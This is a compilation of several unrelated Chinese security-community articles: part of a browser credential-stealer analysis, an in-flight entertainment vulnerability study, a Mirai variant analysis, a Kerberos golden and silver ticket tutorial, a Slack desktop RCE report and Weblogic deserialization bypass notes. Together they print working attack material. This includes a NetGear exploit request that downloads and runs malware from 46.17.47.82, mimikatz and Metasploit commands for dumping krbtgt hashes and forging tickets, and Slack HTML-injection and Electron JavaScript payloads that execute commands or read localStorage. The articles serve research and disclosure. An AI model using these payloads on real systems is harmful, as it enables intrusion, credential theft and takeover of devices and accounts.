POST请求从受害者计算机上已安装的浏览器中收集到的凭据发送给攻击者。值得注意的是，对于每个浏览器，恶意软件都会尝试解密凭据并将其作为纯文本发送到C&C。
图18.凭证泄露的示例
图19.凭证泄露
另外，下载的组件在代码级别上十分有序。这些下载的组件还具有注释格式的主要功能和变量的使用说明。因此，这表明此代码不仅为攻击者所用，还可能被其他人以服务或独立实例使用。
### 总结
恶意软件感染包括以恶意Excel文件开始的多个阶段。如果用户允许宏打开Excel文件，则VBA
AutoOpen宏将删除并通过合法的可移植AHK脚本编译器执行下载程序客户端脚本。下载器客户端负责实现持久性，分析受害人以及在受害人系统中下载和执行AHK脚本。该恶意软件没有从C&C服务器接收命令，而是下载并执行AHK脚本来执行不同的任务。下载的脚本是针对各种浏览器（例如Google
Chrome、Opera、Edge等）的窃取程序。窃取程序从浏览器收集和解密凭据，并通过HTTP POST请求将信息泄露到攻击者的服务器。
事实上，通过在受害者的操作系统中使用缺少内置编译器的脚本语言，分别加载恶意组件来完成各种任务，并频繁地更换C&C服务器，攻击者可以在沙盒中隐藏他们的意图。
### IOCs
SHA 256 | Description | Detection
---|---|---
a1f2606102e59bbc1a6de8912378821e83c32f31f6a402e8f3993ef966746b07 | Stealer
module | TrojanSpy.AHK.CREDSTEALER.A
dd3087a377ee3d1959f6c17b1b13e5972d1783dfd708bd084150e44c30e3af6e | Stealer
module | TrojanSpy.AHK.CREDSTEALER.A
d8483908dc0a18c4b51bfe962279816c910fedbad1961e5c5ed081c250cc5f76 | Stealer
module | TrojanSpy.AHK.CREDSTEALER.A
1994f37501d7fc3038129db09babc5ef67d5ab4c93a95b3b59bf2b5ffa1592ff | Stealer
module | TrojanSpy.AHK.CREDSTEALER.A
0078c476753613a78ff9e8f621fd28c1279c0981d519c44212b9d02e5fb4c81c | Stealer
module | TrojanSpy.AHK.CREDSTEALER.A
bed925d7c0af493c9ccd2828d6fdefe6f4255bada51f645a8fffdd67e24b87fd | Excel file
|
27d9eb869eea6c713c6f109eca867844e2feceb0783bda2b78f7a92dffc833f6 | Excel file
|
IPs | Description
---|---
93.115.23.48（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=93.115.23.48
"ZoomEye搜索结果")） | C&C server
94.103.94.186（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=94.103.94.186
"ZoomEye搜索结果")） | C&C server
2.56.215.97（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=2.56.215.97
"ZoomEye搜索结果")） | C&C server
199.192.29.202（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=199.192.29.202
"ZoomEye搜索结果")） | C&C server
5.39.223.162（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=5.39.223.162
"ZoomEye搜索结果")） | C&C server
* * * | 社区文章 |
# 【技术分享】您乘坐的飞机安全吗——黑客通过机载娱乐系统可攻击飞机
|
##### 译文声明
本文是翻译文章，文章来源：blog.ioactive.com
原文地址：<http://blog.ioactive.com/2016/12/in-flight-hacking-system.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[pwn_361](http://bobao.360.cn/member/contribute?uid=2798962642)
预估稿费：200RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
我在IOActive已经有五年了，我有很多去好地方的机会，经常离家有几千公里远，所以飞行显然是我日常生活的一个组成部分。你可能不认为这是一个大问题，除非像我一样，你害怕飞行。我不认为我可以完全摆脱这种焦虑；几十个航班后，我的手仍然会在起飞时出汗，但我学会了生活，有时甚至享受它……并在飞行中，做一些关于机载系统的攻击研究。
研究飞机上的设备如何在飞机上工作，能帮我减轻恐惧感，并且能习惯于噪音、碰撞、和强烈的气流。这篇文章主要研究机载设备如何在飞机上工作，特别是松下航空电子的机载娱乐系统(IFE)。
两年前，当我从华沙飞往迪拜时，在飞机上，我决定试试运气，玩一玩IFE，当我触摸屏幕上一个角落的某个特定区域时，突然，设备返回了一段调试信息：
到迪拜后，我花了一点时间在GOOGLEH搜寻这些关键字，我发现了为多家航空公司开发的几百个公开可用的固件更新：
这些文件显然还在不断更新，所以有可能获得部署在飞机上的最新版本。这些文件今天仍然在，虽然目录列表有所不同。
**我能够找到固件更新的航空公司包括：**
阿联酋航空
法航
阿根廷航空公司
美国联合航空公司
维珍航空公司
新加坡航空公司
芬兰航空公司
伊比利亚航空公司
阿提哈德航空公司
卡塔尔德航空公司
荷兰皇家航空公司
美国航空公司
斯堪的纳维亚航空公司
**
**
**IFE包含下面这些基础的体系结构**
****
**系统控制单元（SCU）**
这需要一个被认证过的机载服务器。乘客可以实时获取有关飞行的信息，如风速、纬度、经度、高度和外界温度。SCU通常通过航空总线接收所有这些数据（航空总线ARINC
429），并通过以太网显示到座位显示单元（SDU）。
**座位显示单元(SDU)**
这个LRU（线性可替换单元）允许乘客使用IFE的被动和主动的功能，比如看电影，购物，阅读，或连接到互联网。它基本上是一个有触摸屏的嵌入式设备，最新的基于Android，而传统设备主要使用Linux。
**个人控制单元（PCU）**
遥控器就算是个人控制单元之一。PCU可以控制SDU，和我后面要讲到的，它也可以作为一个信用卡读卡器。
**机组人员控制板**
乘务员和其他机组人员使用这些设备来控制飞机的功能，如灯，执行器（包括床），通告，机上购物，或专业音频系统，以满足乘客的需求。客舱管理系统（CMS）和IFE通常集成在一块。松下航空电子集成了飞机的CMS和机载娱乐系统（IFE），以及全球通讯服务系统，操作简单，共享系统功能。
**松下机载娱乐系统**
有多款松下机载娱乐系统：有老旧的3000/3000i，最新的是X系列的eFX, eX2
和eX3（基于Android系统），硬件可能会有所不同，但他们有一个类似的体系结构和一些共同的特点。
你可以在松下航空电子设备[ **官方网站**](https://www.panasonic.aero/) 中找到。
这些系统支持相当多的个性化功能，这允许航空公司部署经过定制的IFEs，而代码库大致是一样的。
通常IFEs在飞机着陆后，通过Wi-Fi
点对点网络或高速移动数据链进行内容更新。松下航空电子IFEs大多数经过“跑腿网络”(意思是，这些设备在飞机飞行中是不联网的，一般更新数据是在飞机着陆以后)，在飞行过程中，卫星通信或定制的移动数据连接也是可能的。然而，在大多数情况下，IFES是离线操作的，其内容是预先装入的。通常IFE甚至不会实时检查信用卡。
**松下电子IFE采用客户端-服务器架构，有以下三个主要组成部分：**
1\. CrewApp
2\. SeatApp
3\. Backend
在上述的网站中，我发现了多种版本的CrewApp和SeatApp，当我在GOOGLE上搜索确定的关键字时，我发现IFE的后端源代码是公开曝光的，只是在不同的航空网站上。虽然它包含特定航空公司的定制功能和数据，但是它们使用的后端代码都是松下的。
当然，在这篇文章里不可能把所有的变化都说清楚，由于各航空公司和其他公司根据他们的需要，对松下的框架进行了匹配和扩展，因此，我们将只专注于特定的功能。
我分析的这个固件文件不包含完整的系统，仅仅是更新的文件。这很遗憾，否则我们就可以获得更多关于这些设备底层工作的细节。然而，通过查阅可用文件也可以得到一些有趣的细节。
**
**
**脚本分析**
松下航空电子设备定义了自己的脚本语言，用于程序扩展、GUI接口和主程序的各项功能。它有几十个命令，覆盖所有功能。
对主要的二进制(airsurf)进行逆向，我们可以还原出这个脚本格式对应的解析器是如何工作的。为了说明这些，让我们来看看#define。
解析器对脚本会逐行进行处理，当解析器遇到“#define”声明时，会尝试跳转到sub_80C2690解析这个声明。
在这个函数中定义了五种类型：flash, text, draw, timer, 和value。
脚本中的第一行是一个“#define”值，我们来看一看它是怎么处理的。
首先，读取了这一行，并提取了定义的名称。随后，解析器会检查后面的值（下面绿色的区域）是不是一个数字（蓝色区域）。
如果这个值不是一个数字，则对一系列变量进行检查。如果是一个数字，它会扩展这个值。
如果这个值是一个数字，则将名称和值做为一对，添加到定义的全局数组中(下面蓝色区域)。
对于cmd声明，这个二进制会遍历cmd表，并调用相关函数，传递参数。
我们在这里可以看到一些有趣的功能，例如程序从读卡器上读取信用卡数据以后。
从读卡器读出的数据（/ dev / CCR）被解析，跟踪打印出来，并确认。
我们在这里也可以看到普通的文件，如shell脚本，配置文件（包含硬编码凭证），数据库，资源，和库文件。
在最新的X系列的IFEs中，松下将系统换成了Android，并将老的.txt脚本模式换成了QT QML(QML是Qt推出的Qt
Quick技术的一部分，是一种新增的简便易学的描述语言)。
后台用了PHP，初步分析表明，它存在漏洞：
图片中的代码属于“座位到座位”的聊天功能。在这里，乘客可以向他人发送信息。你不需要花很长时间就能发现一些问题，而且问题不只一个。
下面的视频是实际漏洞的测试方法，它们没有飞机的安全风险。
1\. 绕过信用卡检查
2\. 任意文件访问
3\. sql注入
**潜在的影响**
那么，一个攻击者离接到机载娱乐系统中并利用漏洞还有多远呢？对此，还没有确定的回答。但是，我们做一些假设（不针对任何公司和系统）。
在航空系统和设备认证时，在软件方面，会依靠专用的DO-178B标准(机载软件适航标准)，IFE在技术上是D到E级之间。松下航空电子的IFE设备是E级认证。这基本上意味着，即使整个系统失败了，对飞机安全也没有任何影响，并且不会让乘客有不适感。
同样，我要说的是，根据被处理数据的类型，飞机的数据网络被分为四个数据区域：乘客娱乐、乘客自带设备、航空信息服务、和最后的飞机控制。
物理控制系统应位于飞机控制区域，必须和乘客区域相隔离；然而，并不总是这样的，一些飞机使用光学数据二极管，而另一些依靠电子网关模块。这意味着，这两个数据区域只要有一个物理连接路径，我们就不能忽略潜在的攻击。
机载娱乐系统就有可能成为一个攻击终端。在某些情况下，这样的攻击在物理上是不可能的，原因这些系统是物理隔离的，但是在特殊情况下，如果能成功建立物理连接，攻击仍然在理论上是有可能的，IOActive成功入侵了非航空交通工具上的电子网关模块。在乘客娱乐系统、自有设备区域与飞机控制区域之间，拥有跨越“红线”的能力很大程度上依赖于目标飞机上部署的特定设备、软件和配置。
在2014年，我们展示了卫星通讯(SATCOM)设备上的一系列漏洞。包括机载的SATCOM终端。一个重要关注点是不同数据域之间共享这些卫星通信设备，这会允许一个黑客利用这些设备，并将IFE作为一个支点，对某一航空电子设备发起攻击。
在IT的一面，取得IFE的控制权，意味着一个黑客能向飞机上的乘客发出各种通知信息。例如：黑客可以发布虚假的飞行信息，如高度或风速、并可以在交互式地图中显示虚假航线信息。也有可能危害到CrewApp
单元，控制专业音频系统，照明灯等。如果将所有这些攻击连环在一起，恶意攻击者就有可能令乘客出现恐慌。
捕获个人信息，包括信用卡的详细信息，虽然这不在本研究的范围内，但是如果一个后台配置不当，某些时候有可能会提供频繁飞行者/VIP会员数据的访问功能，那捕获个人信息在技术上是有可能。
从光明的一面，而不是在松下电子IFE系统的研究范围，我相信机载WI-FI本身不是一个问题，因为它可以安全的实现，但仅仅只是WI-FI本身。
这一切意味着，经过初步分析，我们不相信这些系统可以抵御熟练的恶意人员发起的坚实攻击。
航空公司必须保持警惕，当攻击来自机载娱乐系统时，确保该系统和其它系统是正确隔离的，并且具体分析每架飞机的安全态势。安全责任不仅只是某个IFE制造商，飞机制造商、或航空运营商的。和安全相关的每一方，都要发挥重要作用。
**
**
**负责任的披露**
在2015年3月份，我已经向松下航空电子公司报告了我们研究结果，我相信他们有足够的时间去生产和开发补丁，至少对于最突出的漏洞。就是说，我们相信，在这种异构环境中，在涉及众多航空公司，以及数以百计版本的可用软件的情况下，很难说这些问题是不是已经完全解决。 | 社区文章 |
# IoT 分析 | 路由器漏洞频发，Mirai 新变种来袭
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
近期腾讯安全云鼎实验室听风威胁感知平台监测发现一款攻击路由器的蠕虫病毒，经过分析，认定此款蠕虫是 mirai 病毒的新变种，和之前的 mirai
病毒不同，该蠕虫不仅仅通过初代 mirai 使用的 telnent 爆破进行攻击，更多通过路由器漏洞进行攻击传播。
## 二、Payload 与漏洞分析
样本在传播和攻击过程中涉及到4个 PayLoad ，均针对路由器进行攻击，我们会对相关漏洞进行介绍，并针对传播情况利用抽样数据进行统计分析。
表 PayLoad 情况：
图 影响设备分布：
数据来源：腾讯安全云鼎实验室
上图是几款路由器漏洞影响的国家范围，中国、俄罗斯、日本和美国是受灾较为严重的国家。与国家发展程度、网络普及程度有一定关系，也与上述几款路由器的销售区域有着较强的关联。由于国产设备多，安全性不高等原因，我国未来
IoT 安全面临着巨大的挑战。
下面我们针对这四个漏洞分别进行介绍：
#### 01 NetGear 路由器任意执行漏洞（CNNVD-201306-024）
1）漏洞分析：
POC 通过GET方法执行setup.cgi，通过todo命令执行syscmd，通过syscmd来执行下载和执行病毒的命令。
GET/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://46.17.47.82/gvv+-O+/tmp/nigger;sh+nigger+netgear&curpath=/¤tsetting.htm=1 HTTP/1.1rnrn
代码如下：
A、执行setup.cgi后执行setup_main：
B、使用 GET 和 POST 方法都可以提交 POC：
Todo参数后面直接调取相关的文件执行，没有做任何过滤，这里也是被利用的地方，直接调用syscmd来执行自己想要的命令。
2）传播情况：
图 NetGear DGN设备远程任意命令执行漏洞攻击数据抽样统计
数据来源：腾讯安全云鼎实验室
发起 NetGear 漏洞攻击最多的地区是俄罗斯，可以推断带有NetGear 漏洞扫描的病毒载体感染量大。
#### 02 GPON 光纤路由器命令执行漏洞（CVE-2018-10561/62）
1）漏洞分析：
设备上运行的HTTP服务器在进行身份验证时会检查特定路径，攻击者可以利用这一特性绕过任意终端上的身份验证。
通过在URL后添加特定参数 ?images/，最终获得访问权限：
http://ip:port/menu.html?images/
http://ip:port/GponForm/diag_FORM?images/
图 GPONPayLoad：
2）传播情况：
图 GPON设备远程任意命令执行漏洞攻击数据抽样统计
数据来源：腾讯安全云鼎实验室
此漏洞的病毒载体感染范围较大，对于中国、格鲁吉亚、埃及的影响最为广泛。中国美国的光纤发展迅速，埃及和格鲁吉亚受到中国影响，光纤发展速度也很快，也是他们受影响设备多的一个原因。
#### 03 华为HG532系列路由器远程命令执行漏（CVE-2017-17215）
1）漏洞分析：
图 HG532 PayLoad
我们可以观察POC
首先提交一个身份认证信息，之后upgrade里面的NewStatusURL标签中执行了想要执行的命令。模块在upnp中，我们找到upnp模块，并找到NEwStatusURL标签，代码直接通过SYSTEM执行命令（upg
-g -u %s -t ‘Firmware Upgrade….’），没有做任何过滤。
2）传播情况：
图 华为HG532设备远程命令执行漏洞攻击数据抽样统计
数据来源：腾讯安全云鼎实验室
图 CVE-2017-17215 世界影响范围
数据来源：腾讯安全云鼎实验室
通过华为 HG532 设备远程命令执行的攻击统计，可以看出，利用此漏洞的病毒载体或扫描在中国、日本、俄罗斯非常活跃。
#### 04 Linksys多款路由器 tmUnblock.cgi ttcp_ip 参数远程命令执行漏洞（CNVD-2014-01260）
1）漏洞分析：
多款Linksys路由器没有被正确过滤 ‘ttcp_ip’ 参数值，在 tmUnblock.cgi
脚本的实现上存在安全漏洞，经过身份验证的远程攻击者可利用此漏洞执行任意命令。受影响产品包括但不局限于：
E4200 E3200 E3000 E2500 E2100L E2000 E1550 E1500 E1200 E1000 E900 E300 WAG320N
WAP300N WAP610N WES610N WET610N WRT610N WRT600N WRT400N WRT320N WRT160N
WRT150N
2）传播情况：
图 Linksys 多款路由器设备远程命令执行漏洞攻击数据抽样统计
数据来源：腾讯安全云鼎实验室
相关漏洞样本的下载地址很固定，基本分布于拉斯维加斯、新加坡、莫斯科和阿姆斯特丹这四个城市。经过黑产链条的团伙比对，针对路由器的黑产团伙服务器的配置位置，在这几个地方部署的量确实较大。
图 病毒服务器分布图
数据来源：腾讯安全云鼎实验室
详细的服务器分布信息如下表所示：
表 捕获到的相关样本下载 IP 地址
## 三、样本分析
样本md5：099b88bb74e9751abb4091ac4f1d690d
源地址统计（112.28.77.217）：13次，主要攻击了81、8080端口
下载IP：46.17.47.82
样本与mirai是同一个家族的样本，是mirai病毒的一个变种。代码结构和解密后的字符串均非常相似，不同的是此变种使用了3个路由器漏洞进行传播。
Mirai bot 代码的结构如下：
包含了攻击模块、扫描模块和结束模块三个大模块，此样本代码结构与mirai一样，只是相比增加了三种针对路由器的扫描模块。
与以前的mirai不同，这里检测/dev/watchdog，/dev/misc/watchdog，/dev/FTWDT101_watchdog，/dev/FTWDT101watchdog，/dev/FTWDT101/watchdog，/sbin/watchdog，/bin/watchdog，/dev/watchdog0，/etc/default/watchdog，/etc/watchdog
等来避免重启。
相比传统的mirai（/dev/watchdog，/dev/misc/watchdog）多了很多新的watchdog检测。同时包含了 Linux.Okiru
用来检测的路径（/dev/FTWDT101_watchdog，/dev/FTWDT101 watchdog）。
攻击服务器包含了很多相关的文件，各个操作系统平台上的，不同版本的文件。
样本溯源：
下图 POC 中包含了相关的下载地址：
通过访问链接 46.17.47.82/cutie，发现其中包含了真正的下载链接。
保存的路径为：/tmp/gdf，/tmp/gxy，/tmp/dhf，/tmp/ttb;
再直接访问根目录，包含了一条 Twitter 地址：
该 Twitter的作者Philly是一个美国人，病毒存放的路径为nigr（Philly的自称），从Twitter中未发现直接与蠕虫相关的推文。
图 相关Twitter截图
关于样本捕获：
通过腾讯安全云鼎实验室听风威胁感知平台进行捕捉样本，听风威胁感知平台是云鼎实验室在全球多个节点部署的蜜罐网络集群，用于捕获真实的恶意流量，每天捕获数亿次的各类攻击请求。
相关捕捉界面如下：
## 参考文档：
<https://www.freebuf.com/vuls/171457.html>
<https://www.linuxidc.com/Linux/2014-02/97171.htm>
<https://xlab.tencent.com/cn/2018/01/05/a-new-way-to-exploit-cve-2017-17215/>
腾讯安全云鼎实验室
关注云主机与云内流量的安全研究和安全运营。利用机器学习与大数据技术实时监控并分析各类风险信息，帮助客户抵御高级可持续攻击；联合腾讯所有安全实验室进行安全漏洞的研究，确保云计算平台整体的安全性。相关能力通过腾讯云开放出来，为用户提供黑客入侵检测和漏洞风险预警等服务，帮助企业解决服务器安全问题。 | 社区文章 |
# Kerberos认证
## 介绍
Kerberos是一种 **计算机网络授权协议** ，用来在非安全网络中，对个人通信以安全的手段进行身份认证。
这个词又指麻省理工学院为这个协议开发的一套计算机软件。
## 认证流程
提示：
AS（Authentication Server） 认证服务器
KDC（Key Distribution Center） 密钥分发中心
TGT（Ticket Granting Ticket） 票据授权票据（票据的票据）
TGS（Ticket Granting Server） 票据授权服务器
ACL（Access Control Lists） 访问控制列表
DC（Domain Controller） 域控制器
AD（Active Directory） 活动目录
Client 客户端
Server 服务端
### 详细流程图
# 黄金票据
## 原理
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个 Logon Session Key和TGT,而Logon
Session Key并不会保存在KDC中，krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM
Hash，就可以伪造TGT和Logon Session
Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
票据条件：
* 域名称
* 域的 SID 值
* 域的 KRBTGT 账号的 HASH
* 伪造D的任意用户名
## 实验环境
机器：
12server4
AD01
域名：
redteam.club
## Mimikatz
**12server4上操作**
### 信息收集
前提 **域管** 权限
#导出hash
privilege::debug
lsadump::dcsync /domain:redteam.club /all /csv（lsadump::lsa /inject）
##一条命令
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:redteam.club /all /csv" "exit">hash.txt
### 制作
#制作黄金票据
mimikatz.exe "kerberos::golden /admin:system /domain:redteam.club /sid:S-1-5-21-2536581826-3274276096-3456299113 /krbtgt:689fe33346a9e9fe229395fb36178ecb /ticket:ticket.kirbi" exit
### 导入
#清除票据
kerberos::purge
#导入票据
kerberos::ptt C:\ Users icket.kirbi
## Metasploit
**12server4上操作**
### system权限信息收集
#信息收集
load kiwi #导入kiwi模块
##提示：以下需要system权限
creds_all #列举所有凭据
creds_kerberos #列举所有kerberos凭据
kiwi_cmd sekurlsa::logonpasswords #抓密码和hash
### 域管权限信息收集
#信息收集（需要域管权限）
kiwi_cmd "lsadump::dcsync /domain:redteam.club /user:krbtgt" #krbtgt账户的密码hash值
kerberos_ticket_list #列举kerberos票据
kerberos_ticket_purge #清除kerberos票据
### 制作及导入
#制作金票
golden_ticket_create -d redteam.club -k 689fe33346a9e9fe229395fb36178ecb -u administrator -s S-1-5-21-2536581826-3274276096-3456299113 -t /home/kali/administrator.ticket
#导入金票
kerberos_ticket_use /home/kali/administrator.ticket
## CobaltStrike
**AD01上操作**
### 注意
在使用CobaltStrike4.7时，只有在AD上才能抓取到krbtgt的hash，二前两个方式有域管权限就可以。
希望可以得到师傅们的指点
12server4：`12server4dministrator`和`redteamdministrator`均不成功
AD01：`redteamdministrator`成功抓取
### 流程
1.抓取hash
2.`shell whoami /all`
3.制作金票
# 白银票据
## 原理
白银票据就是伪造的ST。
在Kerberos认证的第三部，Client带着ST和Authenticator3向Server上的某个服务进行请求，Server接收到Client的请求之后,通过自己的Master
Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让
Client 访问server上的指定服务了。
所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。
票据条件：
* 域名
* 域 SID（就是域成员SID值去掉最后的）
* 目标服务器的 FQDN
* 可利用的服务
* 服务账号的 NTLM Hash
* 需要伪造的用户名
**这里就制作一个**
## mimikatz
**12server4上操作**
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt
### cifs
#命令格式
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt
#示例
kerberos::golden /domain:redteam.club /sid:S-1-5-21-2536581826-3274276096-3456299113 /target:OWA2010CN-God.god.org /rc4:689fe33346a9e9fe229395fb36178ecb /service:cifs /user:admin /ptt | 社区文章 |
# 前提
利用应用内重定向登陆/开放式重定向、HTML或javascript注入，都可以在Slack桌面应用中执行任意代码。
这份漏洞报告提供了几种攻击思路，包括HTML注入、绕过安全控制和RCE Javascript payload。
经测试，此expliot适用于最新的Slack Desktop(4.2、4.3.2)版本(Mac/Windows/Linux)。
为了更好程度地展示此RCE漏洞的影响，我们提供了一种新的攻击思路(HTML注入和有效负载)，因为[#738229](https://hackerone.com/reports/738229
"#738229")中的exploit已经不能用了。
# 技术细节和复现步骤
**利用步骤**
1.使用RCE有效负载在启用HTTPS的服务器上上传文件
2.准备一个带有HTML注入的Slack Post
3.将POST分享到频道或分享给用户
**用户步骤**
在PC端点击post文件
**用户点击后的实际操作**
HTML将用户桌面应用程序重定向到`_top`frame中的攻击者网站。
攻击者网站使用RCE javascript回复。
利用跳转漏洞绕过Slack desktop环境，泄漏Electron对象，在用户PC上执行任意命令。
PS：这也可以通过任意XSS/应用内重定向漏洞来实现。
# HTML注入--以JSON格式直接编辑Slack POST结构
1.创建一个新的slack Post
当创建新的slack Post时，会在 <https://files.slack.com> 上创建一个具有以下JSON结构的新文件：
{"full":"<p>content<\/p>","preview":"<p>content<\/p>"}
通过访问`/api/files.info`调用返回的私有文件链接可以找到私有文件的URL：
私有文件URL在/api/files.info的url_private响应下的格式为`https://files.slack.com/files-pri/{TEAM_ID}-{FILE_ID}/TITLE`。只需访问私有文件链接就可以查看Slack Post JSON结构。
# 注入HTML payload
可以直接编辑这个JSON结构，它可以包含任意的HTML。JavaScript的执行受到CSP的限制，并且为HTML标签提供了各种安全保护。（即禁用`iframe`,
`applet`,`meta`, `script`, `form`等以及对于`A`标签，`target`属性被覆盖为`_blank`）
但是，仍然可以注入area和map标签，用来实现一键RCE。
要直接编辑JSON结构并以这种方式注入，可以利用Slack本身提供的Web UI：
https://{YOUR-TEAM-HOSTNAME}.slack.com/files/{YOUR-MEMBER-ID}/{FILE-ID}/title/edit
或者，也可以上传Javascript/JSON片段，并通过使用HTTP代理编辑filetype参数将其filetype更改为docs。
上传payload.json，JSON如下：
通过在编辑文件时拦截请求来更改文件类型，例如将标题和拦截HTTP请求更改为/api/files.edit：
由于嵌入HTML不可能实现，并且各种标签也受到了限制，而且由于各种安全机制和CSP，Javascript不可用，因此开发了一种新的HTML注入有效负载：
<img src="https://files.slack.com/files-tmb/T02AVL3AF-FSUE04U2D-881f692a25/screenshot_2020-01-26_at_21.12.20_360.png" width="10000" height="10000" usemap="#slack-img">
<map name="slack-img">
<area shape="rect" coords="10000,10000 0,0" href="https://attacker.com/t.html" target="_self">
</map>
此有效负载需要使用属性usemap引用图像。需要预先将图像上传到Slack并托管在Slack基础设施中。
Slake Post edit@`https://{YOUR-TEAM-HOSTNAME}.slack.com/files/{YOUR-MEMBER-ID}/{FILE-ID}/title/edit` payload.json:
{
"full": "asd",
"preview": "<img src=\"https://files.slack.com/files-tmb/T02AVL3AF-FSUE04U2D-881f692a25/screenshot_2020-01-26_at_21.12.20_360.png\" width=\"10000\" height=\"10000\" usemap=\"#slack-img\"><map name=\"slack-img\"><area shape=\"rect\" coords=\"10000,10000 0,0\" href=\"https://attacker.com/t.html\" target=\"_self\"></map>"
}
# RCE exploit代码-托管在攻击者的网站上
area标签内的URL链接将包含此针对Slack Desktop应用程序的HTML/JS利用漏洞，该漏洞可执行攻击者提供的任何命令：
<html>
<body>
<script>
// overwrite functions to get a BrowserWindow object:
window.desktop.delegate = {}
window.desktop.delegate.canOpenURLInWindow = () => true
window.desktop.window = {}
window.desktop.window.open = () => 1
bw = window.open('about:blank') // leak BrowserWindow class
nbw = new bw.constructor({show: false, webPreferences: {nodeIntegration: true}}) // let's make our own with nodeIntegration
nbw.loadURL('about:blank') // need to load some URL for interaction
nbw.webContents.executeJavaScript('this.require("child_process").exec("open /Applications/Calculator.app")') // exec command
</script>
</body>
</html>
对于Windows，只需将open/Applications/Calculator.app替换为calc或其他任何内容即可。
测试RCE有效负载，可以在任何Slack Desktop应用程序上打开开发人员工具，并仅将Javascript代码粘贴到控制台中。就实现了RCE。
# 无需执行命令即可轻松访问所有私有数据
通过修改有效负载可以轻松地访问所有私人对话、文件、令牌等，
<html>
<body>
<script>
window.desktop.delegate = {}
window.desktop.delegate.canOpenURLInWindow = () => true
window.desktop.window = {}
window.desktop.window.open = () => 1
bw = window.open('about:blank')
nbw = new bw.constructor({show: false}) // node not necessary for this demo
nbw.loadURL('https://app.slack.com/robots.txt') // robots.txt for speed, app.slack.com gives us the user's full environment
nbw.webContents.executeJavaScript('alert(JSON.stringify(localStorage))')
</script>
</body>
</html>
本质上，这使攻击者可以通过覆盖Slack桌面应用程序环境函数并通过BrowserWindow提供“隧道”来执行任意Javascript，从而完全远程控制Slack桌面应用程序.
# files.slack.com-备用有效负载存储和自我XSS
在搜索RCE漏洞的入口点时，发现电子邮件(以明文形式发送时)未经过滤地存储在`https://files.slack.com`的SLACK服务器上，并且直接以文本/HTML形式返回，无需强制下载。
此HTML文件上传功能可用于存储RCE有效负载
# 如何将html上传至files.slack.com
可以使用任何电子邮件客户端来做到这一点，比如在MacOS的默认客户端中，按下CMD+SHIFT+T来生成电子邮件纯文本，从上面复制粘贴RCE有效负载，然后将其嵌入到Slack
Post HTML注入中。
发送到slack的步骤戳[这里](https://slack.com/intl/en-lv/slack-tips/send-email-to-slack
"这里")。
然后，可以通过页面上的“open original”找到上传的HTML文件，或者通过对电子邮件文件id调用相同的/api/files.info
API，然后访问url_private链接来找到上传的HTML文件。
# TL;DR
通过Web UI的HTML注入路径-直接编辑POST文件结构。
或者，通过从Javascript/JSON到Docs的文件转换进行HTML注入-实现直接编辑POST结构。
新的纯HTML有效负载可重定向slack桌面应用程序。
跳转漏洞实现RCE
通过电子邮件实现不受限制的Files.slack.com XSS
当然，所有文件都必须通过日常的方法与收件人共享，否则无法访问私人文件
# 影响
Slack桌面应用程序中的远程代码执行：
访问私有文件、私钥、密码、机密、内部网络访问等。
访问Slack中的私人对话、文件等。
可以将payload设置为wormable—反复利用。
# files.slack.com中的XSS。
`*.slack.com`中的任意HTML内容——都被默认为可信任
网络钓鱼
可用于存储以上RCE漏洞payload
https://hackerone.com/reports/783877 | 社区文章 |
Weblogic的这个反序列化漏洞补来补去还是被绕过，黑名单的修复方式一直饱受诟病，现在最新的CVE-2018-2893的修复依然可以绕过。回看一下这个反序列化漏洞，不停的修复与绕过也别有一番趣味。
#### 1、CVE-2017-3248
漏洞payload： [JRMPClient](https://www.tenable.com/security/research/tra-2017-07
"JRMPClient")
这个payload最早见于Jenkins的反序列化漏洞CVE-2016-0788，用于发起一个反向连接JRMP
server，构造出另一个反序列化场景，从而绕过原有的黑名单限制。此外，还有[JRMPListener](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/JRMPListener.java
"JRMPListener")，这payload是监听一个JRMP Server端口，跟JRMPClient一样，方便二次利用。
Oracle官方的修复方式：
weblogic.rjvm.InboundMsgAbbrev.ServerChannelInputStream.class:
修复方式只是在resolveProxyClass进行一个简单的判断，拦截java.rmi.registry.Registry接口。所以很快就有了下一个绕过。
#### 2、CVE-2018-2628
网上公开的绕CVE-2017-3248有这几种方法：
##### Payload 1：
这是笔者提交给Oracle官方的绕过。修改ysoerial的JRMPClient，精简了原来的payload，直接就是一个sun.rmi.server.UnicastRef对象。因为Proxy在这里并不是必需的，所以去掉之后对反序列化利用没有影响。payload中没有了proxy，weblogic反序列化的时候，resolveProxyClass根本就没有被调用到，所以就bypass了CVE-2017-3248的patch。
##### Payload 2：替换接口
[xxlegend's
payload](https://github.com/shengqi158/CVE-2018-2628/blob/master/weblogic_poc.client1.for.scan-cve-2018-2628.py "xxlegend's payload")
这个CVE廖也提交了绕过，他的绕过是用java.rmi.activation.Activator替换java.rmi.registry.Registry，从而绕过resolveProxyClass的判断。其实这里对接口没有要求，不一定是rmi接口，随便找一个接口都行，比如java.util.Map
##### Payload
3：[weblogic.jms.common.StreamMessageImpl](https://paper.seebug.org/584/
"weblogic.jms.common.StreamMessageImpl")
StreamMessageImpl这个点在反序列化的时候没有resolveProxyClass检查，从而绕过。
